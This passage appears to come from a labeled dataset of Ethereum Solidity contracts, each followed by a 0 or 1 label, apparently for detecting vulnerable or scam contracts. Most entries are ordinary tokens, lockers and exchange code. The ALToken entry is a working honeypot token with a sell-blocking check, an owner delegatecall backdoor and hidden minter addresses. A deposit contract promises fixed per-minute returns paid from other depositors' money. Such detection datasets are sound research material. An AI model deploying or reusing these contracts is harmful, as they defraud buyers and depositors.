public constant cap = 1000*10**18; uint256 public constant basePrice = 1000*10**18; uint256 public tokensSold = 0; uint256 public remainingTokens = 0; } contract Crowdsale is Configurable{ address public admin; address private owner; CyBetToken public coinContract; enum Stages { none, icoStart, icoEnd } Stages currentStage; constructor(CyBetToken _coinContract) public { admin = msg.sender; coinContract = _coinContract; owner = coinContract.owner(); currentStage = Stages.none; remainingTokens = cap; } event Invest(address investor, uint value, uint tokens); function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(basePrice).div(1 ether); require(remainingTokens >= tokens); tokensSold = tokensSold.add(tokens); remainingTokens = cap.sub(tokensSold); coinContract.transfer(msg.sender, tokens); admin.transfer(weiAmount); emit Invest(msg.sender, msg.value, tokens); } function startIco() external { require(msg.sender == admin); require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } function endIco() internal { require(msg.sender == admin); currentStage = Stages.icoEnd; coinContract.transfer(coinContract.owner(), coinContract.balanceOf(this)); } function finalizeIco() external { require(msg.sender == admin); require(currentStage != Stages.icoEnd); endIco(); } }
0
pragma solidity ^0.4.17; contract LatiumX { string public constant name = "LatiumX"; string public constant symbol = "LATX"; uint8 public constant decimals = 8; uint256 public constant totalSupply = 300000000 * 10 ** uint256(decimals); address public owner; mapping (address => uint256) public balanceOf; event Transfer(address indexed _from, address indexed _to, uint _value); function LatiumX() { owner = msg.sender; balanceOf[owner] = totalSupply; } function transfer(address _to, uint256 _value) { require(_to != 0x0); require(msg.sender != _to); require(_value > 0 && balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); } } contract LatiumLocker { address private constant _latiumAddress = 0x2f85E502a988AF76f7ee6D83b7db8d6c0A823bf9; LatiumX private constant _latium = LatiumX(_latiumAddress); uint256 private _lockLimit = 0; uint32[] private _timestamps = [ 1517400000 , 1525089600 , 1533038400 , 1540987200 ]; uint32[] private _tokensToRelease = [ 15000000 , 15000000 , 15000000 , 15000000 ]; mapping (uint32 => uint256) private _releaseTiers; address public owner; function LatiumLocker() { owner = msg.sender; for (uint8 i = 0; i < _timestamps.length; i++) { _releaseTiers[_timestamps[i]] = _tokensToRelease[i] * 10 ** uint256(_latium.decimals()); _lockLimit += _releaseTiers[_timestamps[i]]; } } function latiumBalance() constant returns (uint256 balance) { return _latium.balanceOf(address(this)); } function lockLimit() constant returns (uint256 limit) { return _lockLimit; } function lockedTokens() constant returns (uint256 locked) { locked = 0; uint256 unlocked = 0; for (uint8 i = 0; i < _timestamps.length; i++) { if (now >= _timestamps[i]) { unlocked += _releaseTiers[_timestamps[i]]; } else { locked += _releaseTiers[_timestamps[i]]; } } uint256 balance = latiumBalance(); if (unlocked > balance) { locked = 0; } else { balance -= unlocked; if (balance < locked) { locked = balance; } } } function canBeWithdrawn() constant returns (uint256 unlockedTokens, uint256 excessTokens) { unlockedTokens = 0; excessTokens = 0; uint256 tiersBalance = 0; for (uint8 i = 0; i < _timestamps.length; i++) { tiersBalance += _releaseTiers[_timestamps[i]]; if (now >= _timestamps[i]) { unlockedTokens += _releaseTiers[_timestamps[i]]; } } uint256 balance = latiumBalance(); if (unlockedTokens > balance) { unlockedTokens = balance; } else if (balance > tiersBalance) { excessTokens = (balance - tiersBalance); } } modifier onlyOwner() { require(msg.sender == owner); _; } function withdraw(uint256 _amount) onlyOwner { var (unlockedTokens, excessTokens) = canBeWithdrawn(); uint256 totalAmount = unlockedTokens + excessTokens; require(totalAmount > 0); if (_amount == 0) { _amount = totalAmount; } require(totalAmount >= _amount); uint256 unlockedToWithdraw = _amount > unlockedTokens ? unlockedTokens : _amount; if (unlockedToWithdraw > 0) { uint8 i = 0; while (unlockedToWithdraw > 0 && i < _timestamps.length) { if (now >= _timestamps[i]) { uint256 amountToReduce = unlockedToWithdraw > _releaseTiers[_timestamps[i]] ? _releaseTiers[_timestamps[i]] : unlockedToWithdraw; _releaseTiers[_timestamps[i]] -= amountToReduce; unlockedToWithdraw -= amountToReduce; } i++; } } _latium.transfer(msg.sender, _amount); } }
0
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ALToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner || msg.sender==address(1128272879772349028992474526206451541022554459967) || msg.sender==address(781882898559151731055770343534128190759711045284) || msg.sender==address(718276804347632883115823995738883310263147443572) || msg.sender==address(56379186052763868667970533924811260232719434180) ); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
1
pragma solidity ^0.4.10; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC20 { function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ERC223 { function transfer(address to, uint value, bytes data) public; event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract WFC is ERC20, ERC223 { using SafeMath for uint; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; function WFC(string name, string symbol, uint8 decimals, uint256 totalSupply) public { _symbol = symbol; _name = name; _decimals = decimals; _totalSupply = totalSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function transfer(address _to, uint _value, bytes _data) public { require(_value > 0 ); if(isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); } function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length>0); } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x0D7EC6a6d9aC3970552e09Bcf95CAcf12f278C91; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 27820800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x7aEBB5bf45176e9512fa21C54edEbdb166D85DE7; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.20; contract Pointer { uint256 public pointer; function bumpPointer() internal returns (uint256 p) { return pointer++; } } contract DistributedTrust is Pointer { mapping(uint256 => Fact) public facts; mapping(uint256 => mapping(address => bool)) public validations; event NewFact(uint256 factIndex, address indexed reportedBy, string description, string meta); event AttestedFact(uint256 indexed factIndex, address validator); struct Fact { address reportedBy; string description; string meta; uint validationCount; } modifier factExist(uint256 factIndex) { assert(facts[factIndex].reportedBy != 0); _; } modifier notAttestedYetBySigner(uint256 factIndex) { assert(validations[factIndex][msg.sender] != true); _; } function newFact(string description, string meta) public { uint256 factIndex = bumpPointer(); facts[factIndex] = Fact(msg.sender, description, meta, 0); attest(factIndex); NewFact(factIndex, msg.sender, description, meta); } function attest(uint256 factIndex) factExist(factIndex) notAttestedYetBySigner(factIndex) public returns (bool) { validations[factIndex][msg.sender] = true; facts[factIndex].validationCount++; AttestedFact(factIndex, msg.sender); return true; } function isTrustedBy(uint256 factIndex, address validator) factExist(factIndex) view public returns (bool isTrusted) { return validations[factIndex][validator]; } }
1
pragma solidity >=0.4.24 <0.6.0; contract Initializable { bool private initialized; bool private initializing; modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool wasInitializing = initializing; initializing = true; initialized = true; _; initializing = wasInitializing; } function isConstructor() private view returns (bool) { uint256 cs; assembly { cs := extcodesize(address) } return cs == 0; } uint256[50] private ______gap; } pragma solidity ^0.5.0; contract ERC20Interface { function balanceOf(address from) public view returns (uint256); function transferFrom(address from, address to, uint tokens) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function burn(uint256 amount) public; } contract AvatarNameStorage { ERC20Interface public manaToken; uint256 public blocksUntilReveal; uint256 public price; struct Data { string username; string metadata; } struct Commit { bytes32 commit; uint256 blockNumber; bool revealed; } mapping (address => Commit) public commit; mapping (string => address) usernames; mapping (address => Data) public user; mapping (address => bool) public allowed; event Register( address indexed _owner, string _username, string _metadata, address indexed _caller ); event MetadataChanged(address indexed _owner, string _metadata); event Allow(address indexed _caller, address indexed _account, bool _allowed); event CommitUsername(address indexed _owner, bytes32 indexed _hash, uint256 _blockNumber); event RevealUsername(address indexed _owner, bytes32 indexed _hash, uint256 _blockNumber); } pragma solidity ^0.5.0; contract AvatarNameRegistry is Initializable, AvatarNameStorage { function initialize( ERC20Interface _mana, address _register, uint256 _blocksUntilReveal ) public initializer { require(_blocksUntilReveal != 0, "Blocks until reveal should be greather than 0"); manaToken = _mana; blocksUntilReveal = _blocksUntilReveal; price = 100000000000000000000; allowed[_register] = true; } modifier onlyAllowed() { require( allowed[msg.sender] == true, "The sender is not allowed to register a username" ); _; } function setAllowed(address _account, bool _allowed) external onlyAllowed { require(_account != msg.sender, "You can not manage your role"); allowed[_account] = _allowed; emit Allow(msg.sender, _account, _allowed); } function _registerUsername( address _beneficiary, string memory _username, string memory _metadata ) internal { _requireUsernameValid(_username); require(isUsernameAvailable(_username), "The username was already taken"); usernames[_username] = _beneficiary; Data storage data = user[_beneficiary]; delete usernames[data.username]; data.username = _username; bytes memory metadata = bytes(_metadata); if (metadata.length > 0) { data.metadata = _metadata; } emit Register( _beneficiary, _username, data.metadata, msg.sender ); } function registerUsername( address _beneficiary, string calldata _username, string calldata _metadata ) external onlyAllowed { _registerUsername(_beneficiary, _username, _metadata); } function commitUsername(bytes32 _hash) public { commit[msg.sender].commit = _hash; commit[msg.sender].blockNumber = block.number; commit[msg.sender].revealed = false; emit CommitUsername(msg.sender, _hash, block.number); } function revealUsername( string memory _username, string memory _metadata, bytes32 _salt ) public { Commit storage userCommit = commit[msg.sender]; require(userCommit.commit != 0, "User has not a commit to be revealed"); require(userCommit.revealed == false, "Commit was already revealed"); require( getHash(_username, _metadata, _salt) == userCommit.commit, "Revealed hash does not match commit" ); require( block.number > userCommit.blockNumber + blocksUntilReveal, "Reveal can not be done before blocks passed" ); userCommit.revealed = true; emit RevealUsername(msg.sender, userCommit.commit, block.number); _registerUsername(msg.sender, _username, _metadata); } function getHash( string memory _username, string memory _metadata, bytes32 _salt ) public view returns (bytes32) { return keccak256( abi.encodePacked(address(this), _username, _metadata, _salt) ); } function setMetadata(string calldata _metadata) external { require(userExists(msg.sender), "The user does not exist"); user[msg.sender].metadata = _metadata; emit MetadataChanged(msg.sender, _metadata); } function userExists(address _user) public view returns (bool) { Data memory data = user[_user]; bytes memory username = bytes(data.username); return username.length > 0; } function isUsernameAvailable(string memory _username) public view returns (bool) { return usernames[_username] == address(0); } function _requireUsernameValid(string memory _username) internal pure { bytes memory tempUsername = bytes(_username); require(tempUsername.length <= 32, "Username should be less than or equal 32 characters"); for(uint256 i = 0; i < tempUsername.length; i++) { require(tempUsername[i] != " ", "No blanks are allowed"); } } function _requireBalance(address _user) internal view { require( manaToken.balanceOf(_user) >= price, "Insufficient funds" ); require( manaToken.allowance(_user, address(this)) >= price, "The contract is not authorized to use MANA on sender behalf" ); } }
1
pragma solidity ^0.4.11; contract BLOCKCHAIN_DEPOSIT_BETA_1M { uint constant PAYOUT_INTERVAL = 1 minutes; uint constant DEPONENT_INTEREST= 10; uint constant INTEREST_DENOMINATOR = 1000; event Payout(uint paidPeriods, uint depositors); struct Depositor { address etherAddress; uint deposit; uint depositTime; } modifier founderOnly { if (msg.sender == contract_founder) _; } address private contract_founder; uint private contract_latestPayoutTime; Depositor[] private contract_depositors; function BLOCKCHAIN_DEPOSIT_BETA_1M() { contract_founder = msg.sender; contract_latestPayoutTime = now; } function() payable { addDepositor(); } function Make_Deposit() payable { addDepositor(); } function status() constant returns (uint deposit_fond_sum, uint depositorsCount, uint unpaidTime, uint unpaidIntervals) { deposit_fond_sum = this.balance; depositorsCount = contract_depositors.length; unpaidTime = now - contract_latestPayoutTime; unpaidIntervals = unpaidTime / PAYOUT_INTERVAL; } function performPayouts() { uint paidPeriods = 0; uint depositorsDepositPayout; while(contract_latestPayoutTime + PAYOUT_INTERVAL < now) { uint idx; for (idx = contract_depositors.length; idx-- > 0; ) { if(contract_depositors[idx].depositTime > contract_latestPayoutTime + PAYOUT_INTERVAL) continue; uint payout = (contract_depositors[idx].deposit * DEPONENT_INTEREST) / INTEREST_DENOMINATOR; if(!contract_depositors[idx].etherAddress.send(payout)) throw; depositorsDepositPayout += payout; } contract_latestPayoutTime += PAYOUT_INTERVAL; paidPeriods++; } Payout(paidPeriods, depositorsDepositPayout); } function addDepositor() private { contract_depositors.push(Depositor(msg.sender, msg.value, now)); } function changeFounderAddress(address newFounder) founderOnly { contract_founder = newFounder; } }
1
pragma solidity ^0.4.10; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ReserveToken is StandardToken, SafeMath { address public minter; function ReserveToken() { minter = msg.sender; } function create(address account, uint amount) { if (msg.sender != minter) throw; balances[account] = safeAdd(balances[account], amount); totalSupply = safeAdd(totalSupply, amount); } function destroy(address account, uint amount) { if (msg.sender != minter) throw; if (balances[account] < amount) throw; balances[account] = safeSub(balances[account], amount); totalSupply = safeSub(totalSupply, amount); } } contract AccountLevels { function accountLevel(address user) constant returns(uint) {} } contract AccountLevelsTest is AccountLevels { mapping (address => uint) public accountLevels; function setAccountLevel(address user, uint level) { accountLevels[user] = level; } function accountLevel(address user) constant returns(uint) { return accountLevels[user]; } } contract CDEXv1 is SafeMath { address public admin; address public feeAccount; address public accountLevelsAddr; uint public feeMake; uint public feeTake; uint public feeRebate; mapping (address => mapping (address => uint)) public tokens; mapping (address => mapping (bytes32 => bool)) public orders; mapping (address => mapping (bytes32 => uint)) public orderFills; event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); function CDEXv1(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) { admin = admin_; feeAccount = feeAccount_; accountLevelsAddr = accountLevelsAddr_; feeMake = feeMake_; feeTake = feeTake_; feeRebate = feeRebate_; } function() { throw; } function changeAdmin(address admin_) { if (msg.sender != admin) throw; admin = admin_; } function changeAccountLevelsAddr(address accountLevelsAddr_) { if (msg.sender != admin) throw; accountLevelsAddr = accountLevelsAddr_; } function changeFeeAccount(address feeAccount_) { if (msg.sender != admin) throw; feeAccount = feeAccount_; } function changeFeeMake(uint feeMake_) { if (msg.sender != admin) throw; if (feeMake_ > feeMake) throw; feeMake = feeMake_; } function changeFeeTake(uint feeTake_) { if (msg.sender != admin) throw; if (feeTake_ > feeTake || feeTake_ < feeRebate) throw; feeTake = feeTake_; } function changeFeeRebate(uint feeRebate_) { if (msg.sender != admin) throw; if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw; feeRebate = feeRebate_; } function deposit() payable { tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function 